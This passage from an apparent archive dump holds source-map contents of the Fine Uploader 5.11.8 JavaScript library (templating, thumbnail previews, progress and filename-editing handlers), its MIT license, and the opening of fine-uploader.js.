qq(context).getFirstByClass(cssClass);\n        },\n\n        getThumbnail = function(id) {\n            return showThumbnails && getTemplateEl(getFile(id), selectorClasses.thumbnail);\n        },\n\n        hide = function(el) {\n            el && qq(el).addClass(options.classes.hide);\n        },\n\n        // Ensures a placeholder image does not exceed any max size specified\n        // via `style` attribute properties iff <canvas> was not used to scale\n        // the placeholder AND the target <img> doesn't already have these `style` attribute properties set.\n        maybeScalePlaceholderViaCss = function(placeholder, thumbnail) {\n            var maxWidth = placeholder.style.maxWidth,\n                maxHeight = placeholder.style.maxHeight;\n\n            if (maxHeight && maxWidth && !thumbnail.style.maxWidth && !thumbnail.style.maxHeight) {\n                qq(thumbnail).css({\n                    maxWidth: maxWidth,\n                    maxHeight: maxHeight\n                });\n            }\n        },\n\n        // Displays a \"thumbnail not available\" type placeholder image\n        // iff we were able to load this placeholder during initialization\n        // of the templating module or after preview generation has failed.\n        maybeSetDisplayNotAvailableImg = function(id, thumbnail) {\n            var previewing = previewGeneration[id] || new qq.Promise().failure(),\n                notAvailableImgPlacement = new qq.Promise();\n\n            cachedThumbnailNotAvailableImg.then(function(img) {\n                previewing.then(\n                    function() {\n                        notAvailableImgPlacement.success();\n                    },\n                    function() {\n                        maybeScalePlaceholderViaCss(img, thumbnail);\n\n                        thumbnail.onload = function() {\n                            thumbnail.onload = null;\n                            notAvailableImgPlacement.success();\n                        };\n\n                        thumbnail.src = img.src;\n                        show(thumbnail);\n                    }\n                );\n            });\n\n            return notAvailableImgPlacement;\n        },\n\n        /**\n         * Grabs the HTML from the script tag holding the template markup.  This function will also adjust\n         * some internally-tracked state variables based on the contents of the template.\n         * The template is filtered so that irrelevant elements (such as the drop zone if DnD is not supported)\n         * are omitted from the DOM.  Useful errors will be thrown if the template cannot be parsed.\n         *\n         * @returns {{template: *, fileTemplate: *}} HTML for the top-level file items templates\n         */\n        parseAndGetTemplate = function() {\n            var scriptEl,\n                scriptHtml,\n                fileListNode,\n                tempTemplateEl,\n                fileListHtml,\n                defaultButton,\n                dropArea,\n                thumbnail,\n                dropProcessing,\n                dropTextEl,\n                uploaderEl;\n\n            log(\"Parsing template\");\n\n            /*jshint -W116*/\n            if (options.templateIdOrEl == null) {\n                throw new Error(\"You MUST specify either a template element or ID!\");\n            }\n\n            // Grab the contents of the script tag holding the template.\n            if (qq.isString(options.templateIdOrEl)) {\n                scriptEl = document.getElementById(options.templateIdOrEl);\n\n                if (scriptEl === null) {\n                    throw new Error(qq.format(\"Cannot find template script at ID '{}'!\", options.templateIdOrEl));\n                }\n\n                scriptHtml = scriptEl.innerHTML;\n            }\n            else {\n                if (options.templateIdOrEl.innerHTML === undefined) {\n                    throw new Error(\"You have specified an invalid value for the template option!  \" +\n                        \"It must be an ID or an Element.\");\n                }\n\n                scriptHtml = options.templateIdOrEl.innerHTML;\n            }\n\n            scriptHtml = qq.trimStr(scriptHtml);\n            tempTemplateEl = document.createElement(\"div\");\n            tempTemplateEl.appendChild(qq.toElement(scriptHtml));\n            uploaderEl = qq(tempTemplateEl).getFirstByClass(selectorClasses.uploader);\n\n            // Don't include the default template button in the DOM\n            // if an alternate button container has been specified.\n            if (options.button) {\n                defaultButton = qq(tempTemplateEl).getFirstByClass(selectorClasses.button);\n                if (defaultButton) {\n                    qq(defaultButton).remove();\n                }\n            }\n\n            // Omit the drop processing element from the DOM if DnD is not supported by the UA,\n            // or the drag and drop module is not found.\n            // NOTE: We are consciously not removing the drop zone if the UA doesn't support DnD\n            // to support layouts where the drop zone is also a container for visible elements,\n            // such as the file list.\n            if (!qq.DragAndDrop || !qq.supportedFeatures.fileDrop) {\n                dropProcessing = qq(tempTemplateEl).getFirstByClass(selectorClasses.dropProcessing);\n                if (dropProcessing) {\n                    qq(dropProcessing).remove();\n                }\n            }\n\n            dropArea = qq(tempTemplateEl).getFirstByClass(selectorClasses.drop);\n\n            // If DnD is not available then remove\n            // it from the DOM as well.\n            if (dropArea && !qq.DragAndDrop) {\n                log(\"DnD module unavailable.\", \"info\");\n                qq(dropArea).remove();\n            }\n\n            if (!qq.supportedFeatures.fileDrop) {\n                // don't display any \"drop files to upload\" background text\n                uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);\n\n                if (dropArea && qq(dropArea).hasAttribute(HIDE_DROPZONE_ATTR)) {\n                    // If there is a drop area defined in the template, and the current UA doesn't support DnD,\n                    // and the drop area is marked as \"hide before enter\", ensure it is hidden as the DnD module\n                    // will not do this (since we will not be loading the DnD module)\n                    qq(dropArea).css({\n                        display: \"none\"\n                    });\n                }\n            }\n            else if (qq(uploaderEl).hasAttribute(DROPZPONE_TEXT_ATTR) && dropArea) {\n                dropTextEl = qq(dropArea).getFirstByClass(selectorClasses.dropText);\n                dropTextEl && qq(dropTextEl).remove();\n            }\n\n            // Ensure the `showThumbnails` flag is only set if the thumbnail element\n            // is present in the template AND the current UA is capable of generating client-side previews.\n            thumbnail = qq(tempTemplateEl).getFirstByClass(selectorClasses.thumbnail);\n            if (!showThumbnails) {\n                thumbnail && qq(thumbnail).remove();\n            }\n            else if (thumbnail) {\n                thumbnailMaxSize = parseInt(thumbnail.getAttribute(THUMBNAIL_MAX_SIZE_ATTR));\n                // Only enforce max size if the attr value is non-zero\n                thumbnailMaxSize = thumbnailMaxSize > 0 ? thumbnailMaxSize : null;\n\n                serverScale = qq(thumbnail).hasAttribute(THUMBNAIL_SERVER_SCALE_ATTR);\n            }\n            showThumbnails = showThumbnails && thumbnail;\n\n            isEditElementsExist = qq(tempTemplateEl).getByClass(selectorClasses.editFilenameInput).length > 0;\n            isRetryElementExist = qq(tempTemplateEl).getByClass(selectorClasses.retry).length > 0;\n\n            fileListNode = qq(tempTemplateEl).getFirstByClass(selectorClasses.list);\n            /*jshint -W116*/\n            if (fileListNode == null) {\n                throw new Error(\"Could not find the file list container in the template!\");\n            }\n\n            fileListHtml = fileListNode.innerHTML;\n            fileListNode.innerHTML = \"\";\n\n            // We must call `createElement` in IE8 in order to target and hide any <dialog> via CSS\n            if (tempTemplateEl.getElementsByTagName(\"DIALOG\").length) {\n                document.createElement(\"dialog\");\n            }\n\n            log(\"Template parsing complete\");\n\n            return {\n                template: qq.trimStr(tempTemplateEl.innerHTML),\n                fileTemplate: qq.trimStr(fileListHtml)\n            };\n        },\n\n        prependFile = function(el, index, fileList) {\n            var parentEl = fileList,\n                beforeEl = parentEl.firstChild;\n\n            if (index > 0) {\n                beforeEl = qq(parentEl).children()[index].nextSibling;\n\n            }\n\n            parentEl.insertBefore(el, beforeEl);\n        },\n\n        processNewQueuedPreviewRequest = function(queuedThumbRequest) {\n            var id = queuedThumbRequest.id,\n                optFileOrBlob = queuedThumbRequest.optFileOrBlob,\n                relatedThumbnailId = optFileOrBlob && optFileOrBlob.qqThumbnailId,\n                thumbnail = getThumbnail(id),\n                spec = {\n                    customResizeFunction: queuedThumbRequest.customResizeFunction,\n                    maxSize: thumbnailMaxSize,\n                    orient: true,\n                    scale: true\n                };\n\n            if (qq.supportedFeatures.imagePreviews) {\n                if (thumbnail) {\n                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                        generateNextQueuedPreview();\n                    }\n                    else {\n                        displayWaitingImg(thumbnail).done(function() {\n                            previewGeneration[id] = new qq.Promise();\n\n                            previewGeneration[id].done(function() {\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            });\n\n                            /* jshint eqnull: true */\n                            // If we've already generated an <img> for this file, use the one that exists,\n                            // don't waste resources generating a new one.\n                            if (relatedThumbnailId != null) {\n                                useCachedPreview(id, relatedThumbnailId);\n                            }\n                            else {\n                                generateNewPreview(id, optFileOrBlob, spec);\n                            }\n                        });\n                    }\n                }\n                // File element in template may have been removed, so move on to next item in queue\n                else {\n                    generateNextQueuedPreview();\n                }\n            }\n            else if (thumbnail) {\n                displayWaitingImg(thumbnail);\n                generateNextQueuedPreview();\n            }\n        },\n\n        processUpdateQueuedPreviewRequest = function(queuedThumbRequest) {\n            var id = queuedThumbRequest.id,\n                thumbnailUrl = queuedThumbRequest.thumbnailUrl,\n                showWaitingImg = queuedThumbRequest.showWaitingImg,\n                thumbnail = getThumbnail(id),\n                spec = {\n                    customResizeFunction: queuedThumbRequest.customResizeFunction,\n                    scale: serverScale,\n                    maxSize: thumbnailMaxSize\n                };\n\n            if (thumbnail) {\n                if (thumbnailUrl) {\n                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {\n                        maybeSetDisplayNotAvailableImg(id, thumbnail);\n                        generateNextQueuedPreview();\n                    }\n                    else {\n                        if (showWaitingImg) {\n                            displayWaitingImg(thumbnail);\n                        }\n\n                        return options.imageGenerator.generate(thumbnailUrl, thumbnail, spec).then(\n                            function() {\n                                show(thumbnail);\n                                generatedThumbnails++;\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            },\n\n                            function() {\n                                maybeSetDisplayNotAvailableImg(id, thumbnail);\n                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);\n                            }\n                        );\n                    }\n                }\n                else {\n                    maybeSetDisplayNotAvailableImg(id, thumbnail);\n                    generateNextQueuedPreview();\n                }\n            }\n        },\n\n        setProgressBarWidth = function(id, percent) {\n            var bar = getProgress(id),\n                /* jshint eqnull:true */\n                progressBarSelector = id == null ? selectorClasses.totalProgressBar : selectorClasses.progressBar;\n\n            if (bar && !qq(bar).hasClass(progressBarSelector)) {\n                bar = qq(bar).getFirstByClass(progressBarSelector);\n            }\n\n            if (bar) {\n                qq(bar).css({width: percent + \"%\"});\n                bar.setAttribute(\"aria-valuenow\", percent);\n            }\n        },\n\n        show = function(el) {\n            el && qq(el).removeClass(options.classes.hide);\n        },\n\n        useCachedPreview = function(targetThumbnailId, cachedThumbnailId) {\n            var targetThumbnail = getThumbnail(targetThumbnailId),\n                cachedThumbnail = getThumbnail(cachedThumbnailId);\n\n            log(qq.format(\"ID {} is the same file as ID {}.  Will use generated thumbnail from ID {} instead.\", targetThumbnailId, cachedThumbnailId, cachedThumbnailId));\n\n            // Generation of the related thumbnail may still be in progress, so, wait until it is done.\n            previewGeneration[cachedThumbnailId].then(function() {\n                generatedThumbnails++;\n                previewGeneration[targetThumbnailId].success();\n                log(qq.format(\"Now using previously generated thumbnail created for ID {} on ID {}.\", cachedThumbnailId, targetThumbnailId));\n                targetThumbnail.src = cachedThumbnail.src;\n                show(targetThumbnail);\n            },\n            function() {\n                previewGeneration[targetThumbnailId].failure();\n                if (!options.placeholders.waitUntilUpdate) {\n                    maybeSetDisplayNotAvailableImg(targetThumbnailId, targetThumbnail);\n                }\n            });\n        };\n\n    qq.extend(options, spec);\n    log = options.log;\n\n    // No need to worry about conserving CPU or memory on older browsers,\n    // since there is no ability to preview, and thumbnail display is primitive and quick.\n    if (!qq.supportedFeatures.imagePreviews) {\n        options.limits.timeBetweenThumbs = 0;\n        options.limits.maxThumbs = 0;\n    }\n\n    container = options.containerEl;\n    showThumbnails = options.imageGenerator !== undefined;\n    templateHtml = parseAndGetTemplate();\n\n    cacheThumbnailPlaceholders();\n\n    qq.extend(this, {\n        render: function() {\n            log(\"Rendering template in DOM.\");\n\n            generatedThumbnails = 0;\n\n            container.innerHTML = templateHtml.template;\n            hide(getDropProcessing());\n            this.hideTotalProgress();\n            fileList = options.fileContainerEl || getTemplateEl(container, selectorClasses.list);\n\n            log(\"Template rendering complete\");\n        },\n\n        renderFailure: function(message) {\n            var cantRenderEl = qq.toElement(message);\n            container.innerHTML = \"\";\n            container.appendChild(cantRenderEl);\n        },\n\n        reset: function() {\n            this.render();\n        },\n\n        clearFiles: function() {\n            fileList.innerHTML = \"\";\n        },\n\n        disableCancel: function() {\n            isCancelDisabled = true;\n        },\n\n        addFile: function(id, name, prependInfo, hideForever, batch) {\n            var fileEl = qq.toElement(templateHtml.fileTemplate),\n                fileNameEl = getTemplateEl(fileEl, selectorClasses.file),\n                uploaderEl = getTemplateEl(container, selectorClasses.uploader),\n                fileContainer = batch ? fileBatch.content : fileList,\n                thumb;\n\n            if (batch) {\n                fileBatch.map[id] = fileEl;\n            }\n\n            qq(fileEl).addClass(FILE_CLASS_PREFIX + id);\n            uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);\n\n            if (fileNameEl) {\n                qq(fileNameEl).setText(name);\n                fileNameEl.setAttribute(\"title\", name);\n            }\n\n            fileEl.setAttribute(FILE_ID_ATTR, id);\n\n            if (prependInfo) {\n                prependFile(fileEl, prependInfo.index, fileContainer);\n            }\n            else {\n                fileContainer.appendChild(fileEl);\n            }\n\n            if (hideForever) {\n                fileEl.style.display = \"none\";\n                qq(fileEl).addClass(HIDDEN_FOREVER_CLASS);\n            }\n            else {\n                hide(getProgress(id));\n                hide(getSize(id));\n                hide(getDelete(id));\n                hide(getRetry(id));\n                hide(getPause(id));\n                hide(getContinue(id));\n\n                if (isCancelDisabled) {\n                    this.hideCancel(id);\n                }\n\n                thumb = getThumbnail(id);\n                if (thumb && !thumb.src) {\n                    cachedWaitingForThumbnailImg.then(function(waitingImg) {\n                        thumb.src = waitingImg.src;\n                        if (waitingImg.style.maxHeight && waitingImg.style.maxWidth) {\n                            qq(thumb).css({\n                                maxHeight: waitingImg.style.maxHeight,\n                                maxWidth: waitingImg.style.maxWidth\n                            });\n                        }\n\n                        show(thumb);\n                    });\n                }\n            }\n        },\n\n        addFileToCache: function(id, name, prependInfo, hideForever) {\n            this.addFile(id, name, prependInfo, hideForever, true);\n        },\n\n        addCacheToDom: function() {\n            fileList.appendChild(fileBatch.content);\n            fileBatch.content = document.createDocumentFragment();\n            fileBatch.map = {};\n        },\n\n        removeFile: function(id) {\n            qq(getFile(id)).remove();\n        },\n\n        getFileId: function(el) {\n            var currentNode = el;\n\n            if (currentNode) {\n                /*jshint -W116*/\n                while (currentNode.getAttribute(FILE_ID_ATTR) == null) {\n                    currentNode = currentNode.parentNode;\n                }\n\n                return parseInt(currentNode.getAttribute(FILE_ID_ATTR));\n            }\n        },\n\n        getFileList: function() {\n            return fileList;\n        },\n\n        markFilenameEditable: function(id) {\n            var filename = getFilename(id);\n\n            filename && qq(filename).addClass(options.classes.editable);\n        },\n\n        updateFilename: function(id, name) {\n            var filenameEl = getFilename(id);\n\n            if (filenameEl) {\n                qq(filenameEl).setText(name);\n                filenameEl.setAttribute(\"title\", name);\n            }\n        },\n\n        hideFilename: function(id) {\n            hide(getFilename(id));\n        },\n\n        showFilename: function(id) {\n            show(getFilename(id));\n        },\n\n        isFileName: function(el) {\n            return qq(el).hasClass(selectorClasses.file);\n        },\n\n        getButton: function() {\n            return options.button || getTemplateEl(container, selectorClasses.button);\n        },\n\n        hideDropProcessing: function() {\n            hide(getDropProcessing());\n        },\n\n        showDropProcessing: function() {\n            show(getDropProcessing());\n        },\n\n        getDropZone: function() {\n            return getTemplateEl(container, selectorClasses.drop);\n        },\n\n        isEditFilenamePossible: function() {\n            return isEditElementsExist;\n        },\n\n        hideRetry: function(id) {\n            hide(getRetry(id));\n        },\n\n        isRetryPossible: function() {\n            return isRetryElementExist;\n        },\n\n        showRetry: function(id) {\n            show(getRetry(id));\n        },\n\n        getFileContainer: function(id) {\n            return getFile(id);\n        },\n\n        showEditIcon: function(id) {\n            var icon = getEditIcon(id);\n\n            icon && qq(icon).addClass(options.classes.editable);\n        },\n\n        isHiddenForever: function(id) {\n            return qq(getFile(id)).hasClass(HIDDEN_FOREVER_CLASS);\n        },\n\n        hideEditIcon: function(id) {\n            var icon = getEditIcon(id);\n\n            icon && qq(icon).removeClass(options.classes.editable);\n        },\n\n        isEditIcon: function(el) {\n            return qq(el).hasClass(selectorClasses.editNameIcon, true);\n        },\n\n        getEditInput: function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.editFilenameInput);\n        },\n\n        isEditInput: function(el) {\n            return qq(el).hasClass(selectorClasses.editFilenameInput, true);\n        },\n\n        updateProgress: function(id, loaded, total) {\n            var bar = getProgress(id),\n                percent;\n\n            if (bar && total > 0) {\n                percent = Math.round(loaded / total * 100);\n\n                if (percent === 100) {\n                    hide(bar);\n                }\n                else {\n                    show(bar);\n                }\n\n                setProgressBarWidth(id, percent);\n            }\n        },\n\n        updateTotalProgress: function(loaded, total) {\n            this.updateProgress(null, loaded, total);\n        },\n\n        hideProgress: function(id) {\n            var bar = getProgress(id);\n\n            bar && hide(bar);\n        },\n\n        hideTotalProgress: function() {\n            this.hideProgress();\n        },\n\n        resetProgress: function(id) {\n            setProgressBarWidth(id, 0);\n            this.hideTotalProgress(id);\n        },\n\n        resetTotalProgress: function() {\n            this.resetProgress();\n        },\n\n        showCancel: function(id) {\n            if (!isCancelDisabled) {\n                var cancel = getCancel(id);\n\n                cancel && qq(cancel).removeClass(options.classes.hide);\n            }\n        },\n\n        hideCancel: function(id) {\n            hide(getCancel(id));\n        },\n\n        isCancel: function(el)  {\n            return qq(el).hasClass(selectorClasses.cancel, true);\n        },\n\n        allowPause: function(id) {\n            show(getPause(id));\n            hide(getContinue(id));\n        },\n\n        uploadPaused: function(id) {\n            this.setStatusText(id, options.text.paused);\n            this.allowContinueButton(id);\n            hide(getSpinner(id));\n        },\n\n        hidePause: function(id) {\n            hide(getPause(id));\n        },\n\n        isPause: function(el) {\n            return qq(el).hasClass(selectorClasses.pause, true);\n        },\n\n        isContinueButton: function(el) {\n            return qq(el).hasClass(selectorClasses.continueButton, true);\n        },\n\n        allowContinueButton: function(id) {\n            show(getContinue(id));\n            hide(getPause(id));\n        },\n\n        uploadContinued: function(id) {\n            this.setStatusText(id, \"\");\n            this.allowPause(id);\n            show(getSpinner(id));\n        },\n\n        showDeleteButton: function(id) {\n            show(getDelete(id));\n        },\n\n        hideDeleteButton: function(id) {\n            hide(getDelete(id));\n        },\n\n        isDeleteButton: function(el) {\n            return qq(el).hasClass(selectorClasses.deleteButton, true);\n        },\n\n        isRetry: function(el) {\n            return qq(el).hasClass(selectorClasses.retry, true);\n        },\n\n        updateSize: function(id, text) {\n            var size = getSize(id);\n\n            if (size) {\n                show(size);\n                qq(size).setText(text);\n            }\n        },\n\n        setStatusText: function(id, text) {\n            var textEl = getTemplateEl(getFile(id), selectorClasses.statusText);\n\n            if (textEl) {\n                /*jshint -W116*/\n                if (text == null) {\n                    qq(textEl).clearText();\n                }\n                else {\n                    qq(textEl).setText(text);\n                }\n            }\n        },\n\n        hideSpinner: function(id) {\n            qq(getFile(id)).removeClass(IN_PROGRESS_CLASS);\n            hide(getSpinner(id));\n        },\n\n        showSpinner: function(id) {\n            qq(getFile(id)).addClass(IN_PROGRESS_CLASS);\n            show(getSpinner(id));\n        },\n\n        generatePreview: function(id, optFileOrBlob, customResizeFunction) {\n            if (!this.isHiddenForever(id)) {\n                thumbGenerationQueue.push({id: id, customResizeFunction: customResizeFunction, optFileOrBlob: optFileOrBlob});\n                !thumbnailQueueMonitorRunning && generateNextQueuedPreview();\n            }\n        },\n\n        updateThumbnail: function(id, thumbnailUrl, showWaitingImg, customResizeFunction) {\n            if (!this.isHiddenForever(id)) {\n                thumbGenerationQueue.push({customResizeFunction: customResizeFunction, update: true, id: id, thumbnailUrl: thumbnailUrl, showWaitingImg: showWaitingImg});\n                !thumbnailQueueMonitorRunning && generateNextQueuedPreview();\n            }\n        },\n\n        hasDialog: function(type) {\n            return qq.supportedFeatures.dialogElement && !!getDialog(type);\n        },\n\n        showDialog: function(type, message, defaultValue) {\n            var dialog = getDialog(type),\n                messageEl = getTemplateEl(dialog, selectorClasses.dialogMessage),\n                inputEl = dialog.getElementsByTagName(\"INPUT\")[0],\n                cancelBtn = getTemplateEl(dialog, selectorClasses.dialogCancelButton),\n                okBtn = getTemplateEl(dialog, selectorClasses.dialogOkButton),\n                promise = new qq.Promise(),\n\n                closeHandler = function() {\n                    cancelBtn.removeEventListener(\"click\", cancelClickHandler);\n                    okBtn && okBtn.removeEventListener(\"click\", okClickHandler);\n                    promise.failure();\n                },\n\n                cancelClickHandler = function() {\n                    cancelBtn.removeEventListener(\"click\", cancelClickHandler);\n                    dialog.close();\n                },\n\n                okClickHandler = function() {\n                    dialog.removeEventListener(\"close\", closeHandler);\n                    okBtn.removeEventListener(\"click\", okClickHandler);\n                    dialog.close();\n\n                    promise.success(inputEl && inputEl.value);\n                };\n\n            dialog.addEventListener(\"close\", closeHandler);\n            cancelBtn.addEventListener(\"click\", cancelClickHandler);\n            okBtn && okBtn.addEventListener(\"click\", okClickHandler);\n\n            if (inputEl) {\n                inputEl.value = defaultValue;\n            }\n            messageEl.textContent = message;\n\n            dialog.showModal();\n\n            return promise;\n        }\n    });\n};\n","/*globals qq */\n// Base handler for UI (FineUploader mode) events.\n// Some more specific handlers inherit from this one.\nqq.UiEventHandler = function(s, protectedApi) {\n    \"use strict\";\n\n    var disposer = new qq.DisposeSupport(),\n        spec = {\n            eventType: \"click\",\n            attachTo: null,\n            onHandled: function(target, event) {}\n        };\n\n    // This makes up the \"public\" API methods that will be accessible\n    // to instances constructing a base or child handler\n    qq.extend(this, {\n        addHandler: function(element) {\n            addHandler(element);\n        },\n\n        dispose: function() {\n            disposer.dispose();\n        }\n    });\n\n    function addHandler(element) {\n        disposer.attach(element, spec.eventType, function(event) {\n            // Only in IE: the `event` is a property of the `window`.\n            event = event || window.event;\n\n            // On older browsers, we must check the `srcElement` instead of the `target`.\n            var target = event.target || event.srcElement;\n\n            spec.onHandled(target, event);\n        });\n    }\n\n    // These make up the \"protected\" API methods that children of this base handler will utilize.\n    qq.extend(protectedApi, {\n        getFileIdFromItem: function(item) {\n            return item.qqFileId;\n        },\n\n        getDisposeSupport: function() {\n            return disposer;\n        }\n    });\n\n    qq.extend(spec, s);\n\n    if (spec.attachTo) {\n        addHandler(spec.attachTo);\n    }\n};\n","/* global qq */\nqq.FileButtonsClickHandler = function(s) {\n    \"use strict\";\n\n    var inheritedInternalApi = {},\n        spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            onDeleteFile: function(fileId) {},\n            onCancel: function(fileId) {},\n            onRetry: function(fileId) {},\n            onPause: function(fileId) {},\n            onContinue: function(fileId) {},\n            onGetName: function(fileId) {}\n        },\n        buttonHandlers = {\n            cancel: function(id) { spec.onCancel(id); },\n            retry:  function(id) { spec.onRetry(id); },\n            deleteButton: function(id) { spec.onDeleteFile(id); },\n            pause: function(id) { spec.onPause(id); },\n            continueButton: function(id) { spec.onContinue(id); }\n        };\n\n    function examineEvent(target, event) {\n        qq.each(buttonHandlers, function(buttonType, handler) {\n            var firstLetterCapButtonType = buttonType.charAt(0).toUpperCase() + buttonType.slice(1),\n                fileId;\n\n            if (spec.templating[\"is\" + firstLetterCapButtonType](target)) {\n                fileId = spec.templating.getFileId(target);\n                qq.preventDefault(event);\n                spec.log(qq.format(\"Detected valid file button click event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                handler(fileId);\n                return false;\n            }\n        });\n    }\n\n    qq.extend(spec, s);\n\n    spec.eventType = \"click\";\n    spec.onHandled = examineEvent;\n    spec.attachTo = spec.templating.getFileList();\n\n    qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n// Child of FilenameEditHandler.  Used to detect click events on filename display elements.\nqq.FilenameClickHandler = function(s) {\n    \"use strict\";\n\n    var inheritedInternalApi = {},\n        spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            classes: {\n                file: \"qq-upload-file\",\n                editNameIcon: \"qq-edit-filename-icon\"\n            },\n            onGetUploadStatus: function(fileId) {},\n            onGetName: function(fileId) {}\n        };\n\n    qq.extend(spec, s);\n\n    // This will be called by the parent handler when a `click` event is received on the list element.\n    function examineEvent(target, event) {\n        if (spec.templating.isFileName(target) || spec.templating.isEditIcon(target)) {\n            var fileId = spec.templating.getFileId(target),\n                status = spec.onGetUploadStatus(fileId);\n\n            // We only allow users to change filenames of files that have been submitted but not yet uploaded.\n            if (status === qq.status.SUBMITTED) {\n                spec.log(qq.format(\"Detected valid filename click event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                qq.preventDefault(event);\n\n                inheritedInternalApi.handleFilenameEdit(fileId, target, true);\n            }\n        }\n    }\n\n    spec.eventType = \"click\";\n    spec.onHandled = examineEvent;\n\n    qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n// Child of FilenameEditHandler.  Used to detect focusin events on file edit input elements.\nqq.FilenameInputFocusInHandler = function(s, inheritedInternalApi) {\n    \"use strict\";\n\n    var spec = {\n            templating: null,\n            onGetUploadStatus: function(fileId) {},\n            log: function(message, lvl) {}\n        };\n\n    if (!inheritedInternalApi) {\n        inheritedInternalApi = {};\n    }\n\n    // This will be called by the parent handler when a `focusin` event is received on the list element.\n    function handleInputFocus(target, event) {\n        if (spec.templating.isEditInput(target)) {\n            var fileId = spec.templating.getFileId(target),\n                status = spec.onGetUploadStatus(fileId);\n\n            if (status === qq.status.SUBMITTED) {\n                spec.log(qq.format(\"Detected valid filename input focus event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                inheritedInternalApi.handleFilenameEdit(fileId, target);\n            }\n        }\n    }\n\n    spec.eventType = \"focusin\";\n    spec.onHandled = handleInputFocus;\n\n    qq.extend(spec, s);\n    qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n/**\n * Child of FilenameInputFocusInHandler.  Used to detect focus events on file edit input elements.  This child module is only\n * needed for UAs that do not support the focusin event.  Currently, only Firefox lacks this event.\n *\n * @param spec Overrides for default specifications\n */\nqq.FilenameInputFocusHandler = function(spec) {\n    \"use strict\";\n\n    spec.eventType = \"focus\";\n    spec.attachTo = null;\n\n    qq.extend(this, new qq.FilenameInputFocusInHandler(spec, {}));\n};\n","/*globals qq */\n// Handles edit-related events on a file item (FineUploader mode).  This is meant to be a parent handler.\n// Children will delegate to this handler when specific edit-related actions are detected.\nqq.FilenameEditHandler = function(s, inheritedInternalApi) {\n    \"use strict\";\n\n    var spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            onGetUploadStatus: function(fileId) {},\n            onGetName: function(fileId) {},\n            onSetName: function(fileId, newName) {},\n            onEditingStatusChange: function(fileId, isEditing) {}\n        };\n\n    function getFilenameSansExtension(fileId) {\n        var filenameSansExt = spec.onGetName(fileId),\n            extIdx = filenameSansExt.lastIndexOf(\".\");\n\n        if (extIdx > 0) {\n            filenameSansExt = filenameSansExt.substr(0, extIdx);\n        }\n\n        return filenameSansExt;\n    }\n\n    function getOriginalExtension(fileId) {\n        var origName = spec.onGetName(fileId);\n        return qq.getExtension(origName);\n    }\n\n    // Callback iff the name has been changed\n    function handleNameUpdate(newFilenameInputEl, fileId) {\n        var newName = newFilenameInputEl.value,\n            origExtension;\n\n        if (newName !== undefined && qq.trimStr(newName).length > 0) {\n            origExtension = getOriginalExtension(fileId);\n\n            if (origExtension !== undefined) {\n                newName = newName + \".\" + origExtension;\n            }\n\n            spec.onSetName(fileId, newName);\n        }\n\n        spec.onEditingStatusChange(fileId, false);\n    }\n\n    // The name has been updated if the filename edit input loses focus.\n    function registerInputBlurHandler(inputEl, fileId) {\n        inheritedInternalApi.getDisposeSupport().attach(inputEl, \"blur\", function() {\n            handleNameUpdate(inputEl, fileId);\n        });\n    }\n\n    // The name has been updated if the user presses enter.\n    function registerInputEnterKeyHandler(inputEl, fileId) {\n        inheritedInternalApi.getDisposeSupport().attach(inputEl, \"keyup\", function(event) {\n\n            var code = event.keyCode || event.which;\n\n            if (code === 13) {\n                handleNameUpdate(inputEl, fileId);\n            }\n        });\n    }\n\n    qq.extend(spec, s);\n\n    spec.attachTo = spec.templating.getFileList();\n\n    qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));\n\n    qq.extend(inheritedInternalApi, {\n        handleFilenameEdit: function(id, target, focusInput) {\n            var newFilenameInputEl = spec.templating.getEditInput(id);\n\n            spec.onEditingStatusChange(id, true);\n\n            newFilenameInputEl.value = getFilenameSansExtension(id);\n\n            if (focusInput) {\n                newFilenameInputEl.focus();\n            }\n\n            registerInputBlurHandler(newFilenameInputEl, id);\n            registerInputEnterKeyHandler(newFilenameInputEl, id);\n        }\n    });\n};\n"]}js/fileupload/LICENSE000060400000002113150710775200010306 0ustar00The MIT License (MIT)

Copyright (c) 2013-present, Widen Enterprises, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
js/fileupload/fine-uploader.js000060400001245647150710775200012417 0ustar00// Fine Uploader 5.11.8 - (c) 2013-present Widen Enterprises, Inc. MIT licensed. http://fineuploader.com
(function(global) {
    var qq = function(element) {
        "use strict";
        return {
            hide: function() {
                element.style.display = "none";
                return this;
            },
            attach: function(type, fn) {
                if (element.addEventListener) {
                    element.addEventListener(type, fn, false);
                } else if (element.attachEvent) {
